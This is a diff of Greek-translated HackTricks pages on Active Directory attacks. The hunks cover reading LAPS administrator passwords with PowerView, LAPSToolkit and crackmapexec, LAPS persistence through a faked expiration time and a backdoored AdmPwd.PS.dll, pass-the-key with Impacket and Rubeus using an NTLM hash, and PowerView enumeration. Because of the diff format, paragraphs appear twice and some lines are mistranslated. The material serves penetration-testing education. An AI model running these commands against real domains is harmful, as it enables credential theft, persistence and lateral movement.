Το Local Administrator Password Solution (LAPS) είναι ένα εργαλείο που χρησιμοποιείται για τη διαχείριση ενός συστήματος όπου τα **κωδικοί διαχειριστή**, οι οποίοι είναι **μοναδικοί, τυχαίοι και τακτικά αλλάζονται**, εφαρμόζονται σε υπολογιστές που έχουν ενταχθεί στον τομέα. Αυτοί οι κωδικοί αποθηκεύονται με ασφάλεια εντός του Active Directory και είναι προσβάσιμοι μόνο από χρήστες που έχουν δοθεί άδεια μέσω των Λιστών Ελέγχου Πρόσβασης (ACLs). Η ασφάλεια των μεταδόσεων κωδικών από τον πελάτη στον διακομιστή εξασφαλίζεται με τη χρήση του **Kerberos έκδοση 5** και του **Σύνθετου Προτύπου Κρυπτογράφησης (AES)**.
Στα αντικείμενα υπολογιστών του τομέα, η εφαρμογή του LAPS έχει ως αποτέλεσμα την προσθήκη δύο νέων χαρακτηριστικών: **`ms-mcs-AdmPwd`** και **`ms-mcs-AdmPwdExpirationTime`**. Αυτά τα χαρακτηριστικά αποθηκεύουν αντίστοιχα τον **κωδικό πρόσβασης του διαχειριστή σε καθαρό κείμενο** και το **χρόνο λήξης του**, αντίστοιχα.
Στα αντικείμενα υπολογιστών του τομέα, η εφαρμογή του LAPS οδηγεί στην προσθήκη δύο νέων χαρακτηριστικών: **`ms-mcs-AdmPwd`** και **`ms-mcs-AdmPwdExpirationTime`**. Αυτά τα χαρακτηριστικά αποθηκεύουν τον **κωδικό διαχειριστή σε καθαρό κείμενο** και **τον χρόνο λήξης του**, αντίστοιχα.
### Έλεγχος εάν είναι ενεργοποιημένο
```bash
@ -33,9 +38,9 @@ Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs
```
### Πρόσβαση στον κωδικό πρόσβασης του LAPS
Μπορείτε να **κατεβάσετε την αρχική πολιτική του LAPS** από το `\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol` και στη συνέχεια να χρησιμοποιήσετε το **`Parse-PolFile`** από το πακέτο [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) για να μετατρέψετε αυτό το αρχείο σε αναγνώσιμη μορφή από ανθρώπους.
Μπορείτε να **κατεβάσετε την ακατέργαστη πολιτική του LAPS** από `\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol` και στη συνέχεια να χρησιμοποιήσετε το **`Parse-PolFile`** από το πακέτο [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) για να μετατρέψετε αυτό το αρχείο σε μορφή αναγνώσιμη από ανθρώπους.
Επιπλέον, μπορούν να χρησιμοποιηθούν οι **εντολές PowerShell του LAPS** αν είναι εγκατεστημένες σε έναν υπολογιστή στον οποίο έχουμε πρόσβαση:
Επιπλέον, τα **ενσωματωμένα LAPS PowerShell cmdlets** μπορούν να χρησιμοποιηθούν εάν είναι εγκατεστημένα σε ένα μηχάνημα στο οποίο έχουμε πρόσβαση:
```powershell
Get-Command *AdmPwd*
@ -56,7 +61,7 @@ Find-AdmPwdExtendedRights -Identity Workstations | fl
# Read the password
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
```
Το **PowerView** μπορεί επίσης να χρησιμοποιηθεί για να ανακαλύψει **ποιος μπορεί να διαβάσει τον κωδικό πρόσβασης και να τον διαβάσει**:
**PowerView** μπορεί επίσης να χρησιμοποιηθεί για να ανακαλύψει **ποιος μπορεί να διαβάσει τον κωδικό και να τον διαβάσει**:
```powershell
# Find the principals that have ReadPropery on ms-Mcs-AdmPwd
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
@ -64,11 +69,11 @@ Get-AdmPwdPassword -ComputerName wkstn-2 | fl
# Read the password
Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd
```
### Εργαλειοθήκη LAPSToolkit
### Εργαλείο LAPSToolkit
Η [εργαλειοθήκη LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit) διευκολύνει την απαρίθμηση των LAPS με αρκετές λειτουργίες.\
Μία από αυτές είναι η ανάλυση των **`ExtendedRights`** για **όλους τους υπολογιστές με ενεργοποιημένα LAPS**. Αυτό θα εμφανίσει τα **ομάδες** που έχουν ειδική εξουσιοδότηση για να διαβάζουν τους κωδικούς LAPS, οι οποίες συχνά είναι χρήστες σε προστατευμένες ομάδες.\
Ένας **λογαριασμός** που έχει ενταχθεί σε έναν υπολογιστή σε έναν τομέα λαμβάνει τα `All Extended Rights` πάνω σε αυτόν τον υπολογιστή, και αυτό το δικαίωμα δίνει στον **λογαριασμό** τη δυνατότητα να **διαβάζει κωδικούς πρόσβασης**. Η απαρίθμηση μπορεί να εμφανίσει έναν λογαριασμό χρήστη που μπορεί να διαβάσει τον κωδικό LAPS σε έναν υπολογιστή. Αυτό μπορεί να μας βοηθήσει να **επικεντρωθούμε σε συγκεκριμένους χρήστες του AD** που μπορούν να διαβάσουν τους κωδικούς LAPS.
Το [LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit) διευκολύνει την απαρίθμηση των LAPS με διάφορες λειτουργίες.\
Ένα από αυτά είναι η ανάλυση των **`ExtendedRights`** για **όλους τους υπολογιστές με ενεργοποιημένα τα LAPS.** Αυτό θα εμφανίσει **ομάδες** που είναι ειδικά **αναθετημένες να διαβάζουν τους κωδικούς LAPS**, οι οποίες συχνά είναι χρήστες σε προστατευμένες ομάδες.\
Ένα **λογαριασμός** που έχει **συνδεθεί ένας υπολογιστής** σε έναν τομέα λαμβάνει `Όλα τα Επεκτεινόμενα Δικαιώματα` πάνω σε αυτό τον υπολογιστή, και αυτό το δικαίωμα δίνει στον **λογαριασμό** τη δυνατότητα να **διαβάσει κωδικούς πρόσβασης**. Η απαρίθμηση μπορεί να δείξει έναν λογαριασμό χρήστη που μπορεί να διαβάσει τον κωδικό LAPS σε έναν υπολογιστή. Αυτό μπορεί να μας βοηθήσει να **στοχεύσουμε συγκεκριμένους χρήστες του AD** που μπορούν να διαβάσουν τους κωδικούς LAPS.
```powershell
# Get groups that can read passwords
Find-LAPSDelegatedGroups
@ -92,18 +97,16 @@ ComputerName Password Expiration
------------ -------- ----------
DC01.DOMAIN_NAME.LOCAL j&gR+A(s976Rf% 12/10/2022 13:24:41
```
## **Αποκλεισμός Κωδικών LAPS με το Crackmapexec**
Εάν δεν υπάρχει πρόσβαση σε ένα powershell, μπορείτε να καταχραστείτε αυτό το προνόμιο απομακρυσμένα μέσω του LDAP χρησιμοποιώντας το Crackmapexec.
## **Ανάκτηση Κωδικών LAPS με το Crackmapexec**
Αν δεν υπάρχει πρόσβαση σε ένα powershell, μπορείτε να καταχραστείτε αυτό το προνόμιο απομακρυσμένα μέσω του LDAP χρησιμοποιώντας
```
crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps
```
Αυτό θα αποθηκεύσει όλους τους κωδικούς πρόσβασης που ο χρήστης μπορεί να διαβάσει, επιτρέποντάς σας να έχετε μια καλύτερη πρόσβαση με έναν διαφορετικό χρήστη.
## **Μόνιμη Επιμονή LAPS**
## **Μέθοδος Μόνιμης Παραμονής LAPS**
### **Ημερομηνία Λήξης**
Μόλις γίνετε διαχειριστής, είναι δυνατόν να **αποκτήσετε τους κωδικούς πρόσβασης** και να **εμποδίσετε** έναν υπολογιστή να **ενημερώνει** τον **κωδικό πρόσβασής του** με το να **ορίσετε την ημερομηνία λήξης στο μέλλον**.
Αφού γίνετε διαχειριστής, είναι δυνατόν να **αποκτήσετε τους κωδικούς πρόσβασης** και να **εμποδίσετε** ένα μηχάνημα από το **να ενημερώνει** τον **κωδικό πρόσβασης** του **θέτοντας την ημερομηνία λήξης στο μέλλον**.
```powershell
# Get expiration time
Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
@ -113,26 +116,30 @@ Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}
```
{% hint style="warning" %}
Ο κωδικός θα επαναφέρεται ακόμα και αν ένας **διαχειριστής** χρησιμοποιήσει την εντολή **`Reset-AdmPwdPassword`** ή αν είναι ενεργοποιημένη η επιλογή **Να μην επιτρέπεται η μεγαλύτερη διάρκεια λήξης κωδικού από αυτή που απαιτείται από την πολιτική** στην LAPS GPO.
Ο κωδικός θα επαναφερθεί ακόμα και αν ένας **διαχειριστής** χρησιμοποιήσει το **`Reset-AdmPwdPassword`** cmdlet; ή αν η επιλογή **Do not allow password expiration time longer than required by policy** είναι ενεργοποιημένη στο LAPS GPO.
{% endhint %}
### Πίσω πόρτα
### Backdoor
Ο αρχικός πηγαίος κώδικας για το LAPS μπορεί να βρεθεί [εδώ](https://github.com/GreyCorbel/admpwd), επομένως είναι δυνατόν να τοποθετηθεί μια πίσω πόρτα στον κώδικα (μέσα στη μέθοδο `Get-AdmPwdPassword` στο αρχείο `Main/AdmPwd.PS/Main.cs` για παράδειγμα) που θα **εξαγάγει νέους κωδικούς ή θα τους αποθηκεύσει κάπου**.
Ο πρωτογενής κώδικας για το LAPS μπορεί να βρεθεί [εδώ](https://github.com/GreyCorbel/admpwd), επομένως είναι δυνατόν να τοποθετηθεί ένα backdoor στον κώδικα (μέσα στη μέθοδο `Get-AdmPwdPassword` στο αρχείο `Main/AdmPwd.PS/Main.cs` για παράδειγμα) που θα **εξαγάγει νέους κωδικούς ή θα τους αποθηκεύσει κάπου**.
Στη συνέχεια, απλά μεταγλωττίστε το νέο `AdmPwd.PS.dll` και ανεβάστε το στη μηχανή στη διαδρομή `C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll` (και αλλάξτε την ώρα τροποποίησης).
Στη συνέχεια, απλά μεταγλωτίστε το νέο `AdmPwd.PS.dll` και ανεβάστε το στη μηχανή στο `C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll` (και αλλάξτε την χρονοσφραγίδα).
## Αναφορές
* [https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/](https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Συμμετάσχετε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας στο hacking υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή την [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

View file

@ -1,37 +1,44 @@
# Παράκαμψη του Hash/Παράδοση του Κλειδιού (PTK)
# Over Pass the Hash/Pass the Key
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Overpass The Hash/Pass The Key (PTK)
Η επίθεση **Overpass The Hash/Pass The Key (PTK)** σχεδιάστηκε για περιβάλλοντα όπου ο παραδοσιακός πρωτόκολλο NTLM είναι περιορισμένος και η πιστοποίηση Kerberos έχει προτεραιότητα. Αυτή η επίθεση εκμεταλλεύεται το NTLM hash ή τα κλειδιά AES ενός χρήστη για να ζητήσει εισιτήρια Kerberos, επιτρέποντας την μη εξουσιοδοτημένη πρόσβαση σε πόρους εντός ενός δικτύου.
Για να εκτελεστεί αυτή η επίθεση, το αρχικό βήμα περιλαμβάνει την απόκτηση του NTLM hash ή του κωδικού πρόσβασης του λογαριασμού του στόχου. Αφού αποκτηθεί αυτή η πληροφορία, μπορεί να ληφθεί ένα εισιτήριο παροχής εισιτηρίων (TGT) για τον λογαριασμό, επιτρέποντας στον επιτιθέμενο να έχει πρόσβαση σε υπηρεσίες ή μηχανήματα στα οποία ο χρήστης έχει δικαιώματα.
Για την εκτέλεση αυτής της επίθεσης, το αρχικό βήμα περιλαμβάνει την απόκτηση του NTLM hash ή του κωδικού πρόσβασης του λογαριασμού του στόχου χρήστη. Μετά την ασφαλή απόκτηση αυτών των πληροφοριών, μπορεί να ληφθεί ένα εισιτήριο παραχώρησης εισιτηρίων (TGT) για τον λογαριασμό, επιτρέποντας στον επιτιθέμενο να έχει πρόσβαση σε υπηρεσίες ή μηχανές στις οποίες ο χρήστης έχει δικαιώματα.
Η διαδικασία μπορεί να ξεκινήσει με τις παρακάτω εντολές:
Η διαδικασία μπορεί να ξεκινήσει με τις ακόλουθες εντολές:
```bash
python getTGT.py jurassic.park/velociraptor -hashes :2a3de7fe356ee524cc9f3d579f2e0aa7
export KRB5CCNAME=/root/impacket-examples/velociraptor.ccache
python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass
```
Για περιπτώσεις που απαιτείται AES256, μπορεί να χρησιμοποιηθεί η επιλογή `-aesKey [AES κλειδί]`. Επιπλέον, το αποκτηθέν εισιτήριο μπορεί να χρησιμοποιηθεί με διάφορα εργαλεία, όπως το smbexec.py ή το wmiexec.py, διευρύνοντας το πεδίο της επίθεσης.
Για σενάρια που απαιτούν AES256, η επιλογή `-aesKey [Κλειδί AES]` μπορεί να χρησιμοποιηθεί. Επιπλέον, το αποκτηθέν εισιτήριο μπορεί να χρησιμοποιηθεί με διάφορα εργαλεία, συμπεριλαμβανομένων του smbexec.py ή wmiexec.py, διευρύνοντας το πεδίο επίθεσης.
Συνήθως, τα προβλήματα που αντιμετωπίζονται, όπως το _PyAsn1Error_ ή το _KDC cannot find the name_, λύνονται με την ενημέρωση της βιβλιοθήκης Impacket ή τη χρήση του ονόματος του υπολογιστή αντί για τη διεύθυνση IP, εξασφαλίζοντας τη συμβατότητα με το Kerberos KDC.
Τυπικά, τα προβλήματα που αντιμετωπίζονται όπως _PyAsn1Error_ ή _Το KDC δεν μπορεί να βρει το όνομα_ λύνονται με την ενημέρωση της βιβλιοθήκης Impacket ή τη χρήση του ονόματος κειμένου αντί για τη διεύθυνση IP, εξασφαλίζοντας συμβατότητα με το Kerberos KDC.
Μια εναλλακτική ακολουθία εντολών χρησιμοποιώντας το Rubeus.exe αποδεικνύει μια άλλη πτυχή αυτής της τεχνικής:
Μια εναλλακτική ακολουθία εντολών χρησιμοποιώντας το Rubeus.exe αποδεικνύει ένα άλλο προσχέδιο αυτής της τεχνικής:
```bash
.\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt
.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd
```
Αυτή η μέθοδος αντικατοπτρίζει την προσέγγιση **Pass the Key**, με έμφαση στην κατάληψη και χρήση του εισιτηρίου απευθείας για σκοπούς πιστοποίησης. Είναι σημαντικό να σημειωθεί ότι η έναρξη μιας αίτησης TGT ενεργοποιεί το γεγονός `4768: Ζητήθηκε ένα εισιτήριο πιστοποίησης Kerberos (TGT)`, που υποδηλώνει τη χρήση RC4-HMAC από προεπιλογή, αν και οι σύγχρονα συστήματα Windows προτιμούν το AES256.
Αυτή η μέθοδος αντικατοπτρίζει την προσέγγιση **Pass the Key**, με έμφαση στην απαγωγή και χρήση του εισιτηρίου απευθείας για σκοπούς πιστοποίησης. Είναι κρίσιμο να σημειωθεί ότι η έναρξη μιας αίτησης TGT ενεργοποιεί το συμβάν `4768: Ζητήθηκε ένα εισιτήριο πιστοποίησης Kerberos (TGT)`, σημαίνοντας χρήση RC4-HMAC από προεπιλογή, αν και τα σύγχρονα συστήματα Windows προτιμούν το AES256.
Για να συμμορφωθείτε με τη λειτουργική ασφάλεια και να χρησιμοποιήσετε το AES256, μπορεί να εφαρμοστεί η παρακάτω εντολή:
```bash
@ -41,14 +48,18 @@ python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass
* [https://www.tarlogic.com/es/blog/como-atacar-kerberos/](https://www.tarlogic.com/es/blog/como-atacar-kerberos/)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

View file

@ -4,17 +4,22 @@
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε τη **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε πρόσβαση στη **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε τη [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε** στην [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
Η πιο ενημερωμένη έκδοση του PowerView θα βρίσκεται πάντα στο κλαδί dev του PowerSploit: [https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
[**SharpView**](https://github.com/tevora-threat/SharpView) είναι μια μεταφορά του [**PowerView**](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1) στο .NET
[**SharpView**](https://github.com/tevora-threat/SharpView) είναι μια μεταφορά .NET του [**PowerView**](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
### Γρήγορη απαρίθμηση
```powershell
@ -47,27 +52,7 @@ Invoke-UserHunter -CheckAccess
#Find interesting ACLs
Invoke-ACLScanner -ResolveGUIDs | select IdentityReferenceName, ObjectDN, ActiveDirectoryRights | fl
```
### Πληροφορίες του τομέα
```plaintext
Function Get-Domain
{
[CmdletBinding()]
param (
[Parameter(Position=0, Mandatory=$false)]
[Alias("Identity")]
[String]$Domain = $env:USERDOMAIN
)
$Domain = $Domain.ToUpper()
$DomainObj = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext("Domain", $Domain)
$Domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainObj)
$Domain
}
```
Η συνάρτηση `Get-Domain` επιστρέφει πληροφορίες για τον τομέα. Παίρνει ένα προαιρετικό όρισμα `Domain`, το οποίο είναι το όνομα του τομέα που θέλουμε να ανακτήσουμε πληροφορίες. Αν δεν δοθεί κάποιο όρισμα, χρησιμοποιείται το όνομα του τομέα του χρήστη που εκτελεί το σενάριο.
Η συνάρτηση αρχικά μετατρέπει το όνομα του τομέα σε κεφαλαία γράμματα. Στη συνέχεια, δημιουργεί ένα αντικείμενο `DomainObj` τύπου `System.DirectoryServices.ActiveDirectory.DirectoryContext`, το οποίο παίρνει ως παραμέτρους τον τύπο "Domain" και το όνομα του τομέα. Έπειτα, χρησιμοποιεί τη μέθοδο `GetDomain` της κλάσης `System.DirectoryServices.ActiveDirectory.Domain` για να ανακτήσει τις πληροφορίες του τομέα και τις επιστρέφει.
### Πληροφορίες Domain
```powershell
# Domain Info
Get-Domain #Get info about the current domain
@ -90,31 +75,7 @@ Get-NetDomainController -Domain mydomain.local #Get all ifo of specific domain D
# Get Forest info
Get-ForestDomain
```
### Χρήστες, Ομάδες, Υπολογιστές και Οργανωτικές Μονάδες (OUs)
PowerView παρέχει πολλές εντολές για την ανάκτηση πληροφοριών σχετικά με τους χρήστες, τις ομάδες, τους υπολογιστές και τις οργανωτικές μονάδες (OUs) σε ένα περιβάλλον Windows.
#### Εντολές για τους χρήστες:
- `Get-NetUser`: Επιστρέφει πληροφορίες για τους χρήστες στο τρέχον περιβάλλον.
- `Get-NetUser -Username <username>`: Επιστρέφει πληροφορίες για έναν συγκεκριμένο χρήστη με βάση το όνομα χρήστη.
- `Get-NetUser -GroupName <groupname>`: Επιστρέφει πληροφορίες για τους χρήστες που ανήκουν σε μια συγκεκριμένη ομάδα.
#### Εντολές για τις ομάδες:
- `Get-NetGroup`: Επιστρέφει πληροφορίες για τις ομάδες στο τρέχον περιβάλλον.
- `Get-NetGroup -GroupName <groupname>`: Επιστρέφει πληροφορίες για μια συγκεκριμένη ομάδα με βάση το όνομα της ομάδας.
- `Get-NetGroupMember -GroupName <groupname>`: Επιστρέφει τα μέλη μιας συγκεκριμένης ομάδας.
#### Εντολές για τους υπολογιστές:
- `Get-NetComputer`: Επιστρέφει πληροφορίες για τους υπολογιστές στο τρέχον περιβάλλον.
- `Get-NetComputer -ComputerName <computername>`: Επιστρέφει πληροφορίες για έναν συγκεκριμένο υπολογιστή με βάση το όνομα του υπολογιστή.
#### Εντολές για τις οργανωτικές μονάδες (OUs):
- `Get-NetOU`: Επιστρέφει πληροφορίες για τις οργανωτικές μονάδες (OUs) στο τρέχον περιβάλλον.
- `Get-NetOU -OUName <ouname>`: Επιστρέφει πληροφορίες για μια συγκεκριμένη οργανωτική μονάδα (OU) με βάση το όνομα της οργανωτικής μονάδας.
### Χρήστες, Ομάδες, Υπολογιστές & Μονάδες Οργάνωσης (OUs)
```powershell
# Users
## Get usernames and their groups
